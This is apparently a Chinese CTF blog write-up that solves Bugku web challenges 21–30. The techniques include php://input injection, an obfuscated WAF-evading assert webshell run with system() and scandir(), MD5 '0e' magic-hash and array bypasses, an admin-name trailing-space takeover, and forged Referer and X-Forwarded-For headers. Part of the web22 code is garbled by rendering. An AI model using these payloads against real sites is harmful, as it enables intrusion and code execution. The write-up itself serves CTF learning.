Bugku 做题记录 web21~30

Bugku题目web方向

web21

在这里插入图片描述
打开场景,显示一句话“never never give up!!!”,然后看看源代码,发现有一个可能有效的注释。
在这里插入图片描述
尝试访问:
http://114.67.246.176:12768/1p.html

发现会直接跳转到 http://www.bugku.com/ ,所以行不通。
但是又没有什么其他的线索了,继续追踪 1p.html 这个线索。
使用 view-source 查看 1p.html 的源代码,可以看到参数 words 后面有一串编码。
在这里插入图片描述
看到格式是“%数字”,判断为 url 编码,解码得到一串 base64 编码。
在这里插入图片描述
base64 编码解码后又得到一串 url 编码。
在这里插入图片描述
再次进行 url 解码,最终得到真正的源代码:

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    $flag = "flag{***********}"
}
else
{
    print "never never never give up !!!";
}
?>

在这里插入图片描述
上面源代码中存在的一些函数:
函数 stripos(字符串a,字符串b),用来查找字符串 b 在字符串 a 中第一次出现的位置。

file_get_contents 将整个文件读入一个字符串。

函数 strlen() 返回字符串的长度。
函数 substr() 返回字符串的一部分。
eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) 是 用 来 判 断 " 1114 " 这 个 字 符 串 里 面 是 否 有 符 合 " 111 " . s u b s t r ( b,0,1),"1114") 是用来判断"1114"这个字符串里面是否有符合"111".substr( b,0,1),"1114")"1114""111".substr(b,0,1)这个规则的。

根据源代码,a 的值中不能又“.”,b 的长度大于5 。
构造 url :

http://114.67.246.176:12768/?id=asd&a=php://input&b=*12345

然后用 burp 的 Repeater 模块发送,在数据包上还要加上 “bugku is a nice plateform!”。
在这里插入图片描述
——
——

web22

在这里插入图片描述
打开页面是空白的,包括源代码中也是没有什么有用的信息。
只能回到题目中找信息,描述中有一句信息:
过狗一句话:

$poc=“a#s#s#e#r#t”;
KaTeX parse error: Expected 'EOF', got '#' at position 16: poc_1=explode("#̲",poc);
p o c 2 = poc_2= poc2=poc_1[0]. p o c 1 [ 1 ] . poc_1[1]. poc1[1].poc_1[2]. p o c 1 [ 3 ] . poc_1[3]. poc1[3].poc_1[4].$poc_1[5];
p o c 2 ( poc_2( poc2(_GET[‘s’])

注:
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
如下在菜鸟教程上的一个测试:
在这里插入图片描述
根据提示,判断这是一句话代码。
第一句是给变量 poc 赋值,
第二三句把 poc 的值变成了 “assert”,即去掉“#”后的样子。
第四句是进行 get 请求,相当于使用 assert ,它不是函数,而是一个宏,有点像写 c 代码时开头写的 include <stdio.h> 。
使用 assert() ,是一个叫断言的方法,括号里为真执行什么,为假又执行什么。

然后使用 php 中读取目录下文件的方法。
读取代码:

$dir="./caxa/";
$file=scandir($dir);
print_r($file);

构造 url :

http://114.67.246.176:19973/?s=print_r(scandir(%27./%27))

读取到一个 flag 文件名。
另外看过别人的 wp ,请求 ?s=system(dir) 也可以读取到文件名。
在这里插入图片描述
直接加入这个文件,得到 flag 。
在这里插入图片描述
——
——

web23

在这里插入图片描述
打开场景,是一串 PHP 代码,再结合题目描述的正则,需要用到正则表达式。
刚开始不懂正则不知道怎么开始,所以先了解了一下正则表达式:
正则表达式学习
在这里插入图片描述
根据代码中这句的要求:

$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"

. :匹配换行符之外的任何单个字符。
‘ * ’:匹配前面的子表达式 0 次或多次。
构造:

?id=keyabckeyabcdkey:/a/akeya.

构造的请求不是唯一,像字符串 key 中间的 abc 可以为任意。
得到 flag 。
在这里插入图片描述
——
——

web24

在这里插入图片描述
打开场景,是一段文字,其他地方也没有什么有用的信息,不过发现文字里的这个链接二字是可以点击的。
在这里插入图片描述
进入链接,需要进行代码审计。
在这里插入图片描述
根据代码,需要进行传参 v1、 v2 和 v3。
要求 v1!=v2 ,且 v1 和 v2 的 md5 值相等。strcmp 函数是对括号内的两个字符串进行比较,这里应该没什么要求,只需要两个不同即可。

到此,可以知道就是直接利用 md5 加密算法无法处理数组的方法。

做题只需要这一个无法处理数组的点,不过还是对 md5 加密算法进行了一定的了解:
构造请求:

?v1[]=a&&v2[]=b&&v3[]=c

得到 flag 。
在这里插入图片描述
——
——

web25

在这里插入图片描述
打开场景,是一个管理系统的登录界面。
在这里插入图片描述
随便输入用户名和密码,发现是行不通的。在什么图片的右下角还有一个注册功能,可以点击注册。
可以看到直接进行注册,并且密码设置有一些条件。
在这里插入图片描述
注册一个账号后,回去尝试登录。
提示不是管理员无法看 flag ,也就意味着登录管理员的账号可以看到 flag 。
在这里插入图片描述
继续回到注册页面,尝试注册 admin ,但是提示账户已经存在。
已经知道是用 admin 的用户名,我一开始想到的其实是爆破密码。
不过看到别人的提示只需要注册一个同名账号即可。
在 admin 后面加一个空格,再进行注册,就可以提示注册成功了,用注册的这个同名账号登录,得到 flag 。
在这里插入图片描述
——
——

web26

在这里插入图片描述

打开场景,只有一个信息:are you from google?
在这里插入图片描述
看到 google 让我联想到之前做过一道基本一样的题,在攻防世界平台。
Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。
直接在请求头加上这个伪造的 Referer 即可。
burp 抓包,在 Repeater 模块加上:

Referer:https://www.google.com

点击 send 得到 flag 。
在这里插入图片描述
——
——

web27

在这里插入图片描述
打开场景,发现什么都没有,根据题目描述 “ md5 collision ”,应该是运用 md5 碰撞解题。
看别人的评论场景似乎没有给出源码,从网上得到源码:

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

这里进行传参 a 即可,条件是 :

$a != ‘QNKCDZO’ && $md51 == $md52

md51 的值 ‘QNKCDZO’ 就是属于 0e 绕过的一个字符串。
一些 md5 值是 0e 开头的字符串:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

这些字符串的 md5 值都是 0e 开头,都会判断为相等。
从上面随便选择一个即可。
构造参数:

?a=s878926199a

得到 falg 。
在这里插入图片描述
——

web28

在这里插入图片描述
和前面的 web26 类似,打开场景只有一个简短的提示,没有其他信息。
在这里插入图片描述
解题也和前面的 web26 一样,进行请求伪造。
这里 26 和 28 题在攻防世界里有一道结合起来的题,同时进行两个伪造请求。

此题伪造 XFF (X-Forwarded-For),代表客户端,是 HTTP 请求端的真实 IP 。
用 burp 抓包,在 Repeater 模块的数据包中加上:

X-Forwarded-For:127.0.0.1

得到 flag 。
在这里插入图片描述
——
——

web29

题目描述:各种绕过。
在这里插入图片描述
打开场景是一段 php 代码,大概就可以知道是要进行构造请求。
在这里插入图片描述
根据代码,重点是这两条代码:

($_GET['uname'] == $_POST['passwd'])
sha1($_GET['uname']) === sha1($_POST['passwd'])

第一条要求 ‘uname’ 和 ‘passwd’ 传入的东西不一样,但是第二条要求它们两个的值相等。
这里想到 md5 的绕过,就像前面的题目 web27 运用 md5 碰撞。
开始我使用的是 0e 绕过,结果回显 ‘passwd can not be uname.’ ,后面改用数组绕过。
用hackbar构造:
get 请求:

?id=margin&uname[]=a

post 请求:

passwd[]=b

也可以用 burp ,我这里用 hackbar 方便一点。
点击 Execute ,得到 flag 。
在这里插入图片描述
——
——

web30

题目描述:txt???
在这里插入图片描述
啊~打开场景又是一段 php 代码,需要进行 get 请求。
在这里插入图片描述
file_get_contents() 函数把整个文件读入一个字符串中,那文件是什么,应该就是题目描述里的 txt 了。
尝试访问 flag.txt ,得到文件内容就是 :bugku
在这里插入图片描述
现在就需要构造请求了,要求 ‘ $ac === $f ’ ,即值要相等。
构造:

?ac=bugku&fn=flag.txt

bugku 为 flag.txt 里的具体内容。
得到 flag 。
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值